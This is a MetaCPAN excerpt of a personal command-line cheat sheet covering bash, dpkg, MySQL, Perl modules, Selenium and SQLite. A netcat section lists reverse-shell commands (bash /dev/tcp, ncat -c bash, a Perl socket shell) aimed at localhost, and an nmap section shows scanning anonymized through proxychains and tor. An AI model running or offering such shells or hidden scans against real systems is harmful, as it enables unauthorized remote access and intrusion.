App-Cheats

 view release on metacpan or  search on metacpan

cheats.txt  view on Meta::CPAN

declare -F
typeset -F

# List function definitions in bash
declare -f
typeset -f

# Show all bash array declarations
declare -a

# Show select bash array declaration
declare -p a

# Create an associative array/hash in bash
# (Make sure NOT to use empty or undef keys!)
declare -A h

# View an associative array/hash in bash
declare -p h


#############################################################
## Linux Commands - df
#############################################################

# See how much disk space is left on the device
df -h /tmp


#############################################################
## Linux Commands - diff, sdiff, patch
#############################################################

# Do a file comparison while showing the context (copy)
diff -c file1 file2

# Do a file comparison while showing the context (unified)
diff -u file1 file2

# Do a difference on variables (not just files)
diff -u <(echo "a") <(echo "b")

# Create a patch file
diff -rupN src2 src > test.patch

# Compare folders
diff -ruN  src_sean_latest/ src > diff

# Side by side difference
sdiff file1 file2

# Apply a patch file (-p1 ignore first later)
patch -p1 < ../test.patch

# Fix: "sh: -c: line 0: syntax error near unexpected token `('"
system qq(/bin/bash -c "diff -u <(echo a) <(echo b)");
system qq(/bin/bash -c "diff -u <(echo \\"a a2 a3\\") <(echo \\"b b2 b3\\")");


#############################################################
## Linux Commands - dos2unix
#############################################################

# Fix files endings of all files in folder (recursive)
find . -type f -print0 | xargs -0 dos2unix

# Convert newlines to unix format (trim off carriage returns, like dos2unix)
perl -lpe 'BEGIN{$n=chr 13; $r=qr/$n$/} s/$r//'


#############################################################
## Linux Commands - dpkg
#############################################################

# Print dpkg architecture (DES,machine)
# When installing packages.
dpkg --print-architecture

# Print allowed foreign architectures (DES,machine)
# When installing packages.
dpkg --print-foreign-architectures

# Error - Could not get lock /var/lib/dpkg/lock (admin)
sudo kill -9 $(sudo lsof | grep /var/lib/dpkg/lock | awk '{print $2}')
sudo dpkg --configure -a

# dpkg: error: dpkg status database is locked by another process (DES,bench)
sudo rm -f /var/lib/dpkg/lock

# Install a package from a file
sudo dpkg -i my.deb

# View packages installed on the system
dpkg -l

# Check if a package is installed on a system
dpkg -l | grep kate

# Check installion location of a package
dpkg -L <package>

# Add architecture to the list of architectures for which (DES)
# packages can be installed without using --force-architecture
dpkg --add-architecture i386

# Check if a package is on hold (no updates)
dpkg --get-selections apksigner
apt-mark showhold

# Remove packages marked with rc:
dpkg -l | \grep '^rc' | nth 1 | xargs sudo dpkg --purge


#############################################################
## Linux Commands - dmesg
#############################################################

# View kernel messages
dmesg


#############################################################
## Linux Commands - du
#############################################################

# Get top 20 people using too much disk space
du -ms /* | sort -nr | head -n 20

cheats.txt  view on Meta::CPAN

cpanm DBD::mysql

# Cannot login to msql with root.
sudo vi /etc/mysql/my.cnf
[mysqld]
skip-grant-tables

# Find duplicates using mysql.
mysql -u otrs -potrs otrs -e '
SELECT col,COUNT(col) from table GROUP BY col HAVING COUNT(col) >

# Run mysql query on the command line.
mysql -u user -ppassword table -e 'query'

# Show a table schema in mysql
DESCRIBE table

# MySQL strange behavior
https://stackoverflow.com/questions/11714534/mysql-database-with-unique-fields-ignored-ending-spaces
# Before comparison using "=", trailing whitespace is removed!!!
# Use LIKE instead.
# INSERT used "=" comparison when checking for duplicates before inserting.

# Fix table that does not seem to be working correctly:
# Data not in DB, but INSERT complains about an existing entry.
# https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html
optimize table my_table;

# Get column count per table (SQL)
SELECT TABLE_NAME, count(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = DATABASE() GROUP BY TABLE_NAME ORDER BY count;

# Make a query take forever to complete
SET SESSION cte_max_recursion_depth = 10000000000000;
WITH RECURSIVE counter(n) AS (SELECT 1 UNION ALL SELECT n % 1 FROM counter WHERE n < 10000000000) SELECT n FROM counter;

# Debug what is slow on MYSQL (Diagnostics,DB)
#
# Currently running or pending connections:
SHOW FULL PROCESSLIST;
KILL QUERY <ID>;
#
# History of commands run:
SELECT * FROM performance_schema.events_statements_summary_by_digest\G
#
# History focused:
SELECT CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) AS max_time, COUNT_STAR AS calls, CAST(MAX_TOTAL_MEMORY/1024 AS UNSIGNED) as MB, QUERY_SAMPLE_TEXT FROM performance_schema.events_statements_summary_by_digest WHERE CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) > ...


#############################################################
## Nagios
#############################################################

# Dashboard for websites status (Jira)
nagios


#############################################################
## Netcat Listener (nc)
#############################################################

# Start netcat listener on a specific port (Unix)
nc -nlvp 4445

# Start netcat listener on a specific port (MacOS)
nc -nvl 4444

# Reverse Shell - Netcat
# Listener.
sudo ncat -lnvp 87

# Reverse Shell Connect - Bash
bash -i >& /dev/tcp/localhost/87 0>&1

# Reverse Shell Connect - Netcat
ncat -c bash localhost 87

# Reverse Shell Connect - Perl
perl -MIO::Socket -e '
    exit if fork;
    $c = IO::Socket::INET->new("localhost:87");
    STDIN->fdopen($c, "r");
    STDOUT->fdopen($c, "w");
    system $_ while <>;
'


#############################################################
## NMap - Network Scanner
#############################################################

# NMap - Network Scanner
# Dry run - show what would be scanned:
nmap 192.168.178.1-10 -sL -n --exclude 192.168.178.5-7
Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-05 16:47 CET
Nmap scan report for 192.168.178.1
Nmap scan report for 192.168.178.2
Nmap scan report for 192.168.178.3
Nmap scan report for 192.168.178.4
Nmap scan report for 192.168.178.8
Nmap scan report for 192.168.178.9
Nmap scan report for 192.168.178.10
Nmap done: 7 IP addresses (0 hosts up) scanned in 0.00 seconds

# NMap - Network Scanner
# Process from a pipe:
echo $a | nmap -iL - -sL -n

sudo apt install proxychains tor
vi /etc/proxychains.conf
:socks5  127.0.0.1 9050
tor&
sudo proxychains4 nmap 192.168.178.48 -sS -A


#############################################################
## NodeJs
#############################################################

# NodeJs
node - server-side JavaScript runtime
nvm  - Node Version Manager

cheats.txt  view on Meta::CPAN

#############################################################

# Keep track of the installed modules in a local directory by making a
# virtual environment. Like virtualenv and requirements.txt, but for Perl.
cpanm Carton

# Perl install modules found in cpanfile
carton install

# Perl zip modules found in cpanfile
carton bundle


#############################################################
## Perl Modules - CGI
#############################################################

# Make html ordered lists from array lists
perl -MCGI=ol,li -le 'print ol(li([qw/red blue green/]))'
perl -MCGI=ol,li -le 'print ol(li [qw/red blue green/])'
perl -MCGI=ol,li -le 'print ol li [qw/red blue green/]'

# Generate a sample html page
perl -MCGI=:standard,:html3 -le 'print header(),start_html(),ol(li [qw/red blue green/]),end_html()' > my.html
perl -MCGI=:standard,:html3 -le 'print header(),start_html(),td(Tr [qw/red blue green/]),end_html()' > my2.html


#############################################################
## Perl Modules - Class::Tiny
#############################################################

# Alternate to Mojo::Base has.
perl -Mojo -E '{ package A; use Class::Tiny qw(name age color); sub new { bless {}, shift } } my $obj = A->new; $obj->name("bob"); $obj->color("blue"); say r $obj'
bless( {
  "color" => "blue",
  "name" => "bob"
}, 'A' )


#############################################################
## Perl Modules - Crypt::JWT
#############################################################

# Example of encoding using JWT.
perl -MCrypt::JWT=encode_jwt -E '$token = encode_jwt(payload=> "hello jwt", alg=>"HS256", key=>"mypass"); say $token'
eyJhbGciOiJIUzI1NiJ9.aGVsbG8gand0.UMNFghYANKBBnAbLgTVe26QEyPFLwPMbb7piDSRYNBQ

# Example of decoding using JWT.
perl -MCrypt::JWT=encode_jwt,decode_jwt -E '$token = encode_jwt(payload=> "hello jwt", alg=>"HS256", key=>"mypass"); say decode_jwt(token => $token, key => "mypass" )'
HMAC Integrity check
  - key:  [mypass]
$X4]hmac: [PÃE4 AË5^Û¤ÈñKÀóºb
hello jwt


#############################################################
## Perl Modules - Crypt::PasswdMD5
#############################################################

# Generate MD5 Password
perl -MCrypt::PasswdMD5 -lE 'say unix_md5_crypt('pass','salt')'
openssl passwd -1 -salt salt pass


#############################################################
## Perl Modules - Cwd
#############################################################

# Get current working directory (slightly different than pwd)
perl -MCwd -le 'print getcwd'

# Get absolute path to a file (works same for link and regular files,DES)
perl -MCwd=realpath  -le '$_="file"; print realpath($_)'


#############################################################
## Perl Modules - DateTime
#############################################################

# Create expiration dates (Start of tomorrow,start of next week)
perl -MDateTime -E '$dt = DateTime->now; say $dt->add(days => 1)->truncate(to => "day" )'
# 2021-08-06T00:00:00
perl -MDateTime -E '$dt = DateTime->now; say $dt->add(weeks => 1)->truncate(to => "local_week" )'
# 2021-08-08T00:00:00

# Truncate date to start of this week (Monday).
perl -MDateTime -E '$dt = DateTime->now; say $dt->truncate(to => "week" )->strftime("%e %b %Y")'

# Truncate date to end of 3 weeks from now on a Friday.
perl -MDateTime -E '$dt = DateTime->now; say $dt->truncate(to => "week" )->add(weeks => 3, days => 4)->strftime("%e %b %Y")'


#############################################################
## Perl Modules - Data::DPath
#############################################################

# Recurse through a data structure and print matches.
perl -MData::DPath -Mojo -E 'my $data = {a => [0, {complex => 1}]}; say "\nBefore:"; say r $data; for my $node ( grep {ref} Data::DPath->match($data, "//") ){ say "Tying: $node: " . r $node}'
#
# Before:
# {
#   "a" => [
#     0,
#     {
#       "complex" => 1
#     }
#   ]
# }
#
# Tying: ARRAY(0xb400007e98818a28): [
#   0,
#   {
#     "complex" => 1
#   }
# ]
#
# Tying: HASH(0xb400007e98818698): {
#   "complex" => 1
# }
#
# Tying: HASH(0xb400007e988291f0): {

cheats.txt  view on Meta::CPAN

#############################################################

# Perl Modules - overload example code.
pod Set::Scalar::Base -e


#############################################################
## Perl Modules - PadWalker
#############################################################

# View the lexical variables in a scope.
perl -MPadWalker=peek_my -Mojo -E 'my $var=123; say r peek_my(0)'
{
  "\$var" => \123
}

# Call a method of an object obtained from peek_my
perl -MDevel::Peek -MPadWalker=peek_my -Mojo -E '{ package My; sub Func {"My-Func"} } my $var =  bless {}, "My"; my $obj_ref = peek_my(0)->{q($var)}; Dump $var; Dump $obj_ref; say $$obj_ref->Func'

# Update a lexical variable in a different scope.
my $lexicals = peek_my(1);
$lexicals->{'@arr'}->[1] = 4;


#############################################################
## Perl Modules - PadWalker::Eval
#############################################################

# Idea for a new module to run eval at a specific scope.
perl -E 'my $v=1; {package My; my $v=2; sub run_code { my ($code) = @_; my $v=3; eval $code }} my $v=4, say My::run_code(q($v))'

# PadWalker::Eval ideas.
sub eval ($string, $scope_level=0)


#############################################################
## Perl Modules - Parallel::ForkManager
#############################################################

# Simple exmplae of parallel processing
# (Perl Modules - Parallel::ForkManager)
# About 3 times slower than using threads!!!
perl -MParallel::ForkManager -E '
    my $pm = Parallel::ForkManager->new(30);
    for my $file (1..30) {
        $pm->start and next;
        say "Processing file $file";
        sleep(1);
        $pm->finish;
    }
    $pm->wait_all_children;
'


#############################################################
## Perl Modules - PerlIO
#############################################################

# View the encoding layers applied to a filehandle.
perl -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
perl -C -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
utf8
perl -CO -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
utf8


#############################################################
## Perl Modules - Pod::Usage
#############################################################

# Pull out a section from pod
perl -MPod::Usage=pod2usage -E "pod2usage(-input => `perldoc -l ojo`, -verbose => 99, -sections => '.*/x');"

# Pull out a sectin of perl documentation and store it in a variable
perl -MPod::Usage=pod2usage -E "open my $fh, '>', \my $out or die $!; pod2usage(-input => `perldoc -l ojo`, -verbose => 99, -sections => '.*/x', -output => $fh, exitval => 'NOEXIT'); say qq([$out])"


#############################################################
## Perl Modules - POSIX
#############################################################

# Perl Modules - POSIX
# exit vs _exit
# exit calls DESTROY, whereas, _exit does not:
perl -MPOSIX=_exit -E 'sub A::DESTROY { say "DEST" } my $v = bless {}, "A"; exit(0)'
DEST
perl -MPOSIX=_exit -E 'sub A::DESTROY { say "DEST" } my $v = bless {}, "A"; _exit(0)'


#############################################################
## Perl Modules - Role::Tiny
#############################################################

# Light alternative to Mojo::Base -role
package My::Role;
use Role::Tiny;
sub foo { ... }
sub bar { ... }
around baz => sub { ... };
#
package My::Class;
use Role::Tiny::With;
# bar gets imported, but not foo
with 'My::Role';
sub foo { ... }


#############################################################
## Perl Modules - Reply
#############################################################

# Using a read,evaluate,print,loop in perl.
# Not working with arrow keys.
perl -MReply -E 'Reply->new->run'


#############################################################
## Perl Modules - Safe
#############################################################

# Run code in a safer environment
perl -MSafe -le '$comp=Safe->new; $code=q(use v5.10; print "hello Safe!"); $comp->reval($code) or die $@'

cheats.txt  view on Meta::CPAN

sudo mv chromedriver /usr/bin/chromedriver
sudo chown root:root /usr/bin/chromedriver
sudo chmod +x /usr/bin/chromedriver
#
# Step 4 – Download Required Jar Files:


# Create selenium service
#
sudo cp ~/my/git/srto/selenium/setup/_etc_systemd_system_selenium.service /etc/systemd/system/selenium.service
sudo vi /etc/systemd/system/selenium.service
+ [Unit]
+ Description=Selenium Server
+
+ [Service]
+ EnvironmentFile=-/etc/default/selenium
+ User=<USER>
+ Group=<USER>
+ Environment="PERL5OPT=-d:NYTProf" "NYTPROF='trace=0:start=no:addpid=1:slowops=0'"
+ Environment=DISPLAY=:1
+ ExecStart=/usr/bin/java -Dwebdriver.chrome.driver=/usr/bin/chromedriver -jar /usr/local/lib/selenium/current.jar $SELENIUM_OPTS
+ SuccessExitStatus=143
+
+ [Install]
+ WantedBy=graphical.target

# Selenium service environment file
#
sudo cp ~/my/git/srto/selenium/setup/_etc_default_selenium /etc/default/selenium
sudo vi /etc/default/selenium
+ SELENIUM_OPTS="-role standalone -debug"

# Enable selenium service (runs on login)
sudo systemctl enable selenium.service
sudo systemctl start selenium.service

# Run selenium test using curl (for debug)
curl -X POST http://localhost:4444/wd/hub/session -d '{ "desiredCapabilities": { "browserName": "chrome" } }'
curl -X POST http://localhost:4444/wd/hub/session -d '{ "desiredCapabilities": { "browserName": "firefox" } }'

# Type the Enter/Return key in Selenium.
perl -C -E 'say "\N{U+E007}"'   
perl -C -E 'say "\x{E007}"'     

# Make sure to use the apt firefox and not snap
# when seeing: Firefox profile not missing or not accessible.
sudo snap remove firefox
sudo add-apt-repository ppa:mozillateam/ppa
 echo '
Package: *
Pin: release o=LP-PPA-mozillateam
Pin-Priority: 1001
' | sudo tee /etc/apt/preferences.d/mozilla-firefox
echo 'Unattended-Upgrade::Allowed-Origins:: "LP-PPA-mozillateam:${distro_codename}";' | sudo tee /etc/apt/apt.conf.d/51unattended-upgrades-firefox


#############################################################
## SQLite3 Database
#############################################################

# Install sqlite on Unix (after in zipping the amalgamation file. make sure these 3 are present:
# shell.c, sqlite3.c, sqlite3.h). rename to a.out to sqlite3
# (database, sqlite3)
gcc shell.c sqlite3.c -lpthread -ldl

# View all the tables in a database (database, sqlite3)
sqlite3 my.db '.tables'

# Turn on column names on query results (database, sqlite3)
sqlite3 my.db '.explain on' 'select * from page_groups'

# Print database structure and data (database, sqlite3)
sqlite3 my.db '.dump'

# View current status/info (database, sqlite3)
sqlite3 my.db '.show'

# REFERENCES and FOREIGN KEYS are (database, sqlite3)
# used to ensure that the tables keys are valid since they
# are found in the foreign table.

# Output the results with a header and evenly spaced columns
sqlite3 my.db --header -column 'select * from my_table'

# Create a new database, table, and data (nathan)
sqlite3 my.db 'create table Users(name,date)'
sqlite3 my.db 'insert into Users values ("bob",20)'
sqlite3 my.db 'insert into Users values ("Joe",25)'
sqlite3 my.db '.explain on' '.width auto' 'select * from Users'

# Case Insensitive Search in SQL query
SELECT ... FROM ... WHERE ... ORDER BY name COLLATE NOCASE ASC LIMIT 5

# Master sqlite table (.tables)
if (table == "") {
    query = m_interface->prepare("SELECT name from sqlite_master");                         // .tables
}
# View the .schema
else if (haveVerbose) {
    query = m_interface->prepare("SELECT sql FROM sqlite_master WHERE name=:table");        // .schema
    query.bind(":table", table);
}
# View the columns
else {
    query = m_interface->prepare("SELECT name FROM PRAGMA_TABLE_INFO(:table)");             // column names
    query.bind(":table", table);

# Get all columns names from SQLite
sqlite3 my.db "PRAGMA table_info(myTable)"
#
sqlite3 my.db "SELECT name FROM pragma_table_info('myTable') ORDER BY name"

# Provide default for null values using COALESCE (sqlite3)
SELECT DISTINCT COALESCE(col,'NULL') FROM myTable ORDER BY col ASC

# SQLite if/else, concat(merge) columns(strings)
SELECT   name,
		 CASE WHEN var1 = 1 THEN 'x'  ELSE '-'  END ||
		 CASE WHEN var2 = 1 THEN '/x' ELSE '/-' END ||
		 CASE WHEN var3 = 1 THEN '/x' ELSE '/-' END ||
		 CASE WHEN var4 = 1 THEN '/x' ELSE '/-' END



( run in 3.830 seconds using v1.01-cache-2.11-cpan-64ef6c95b5d )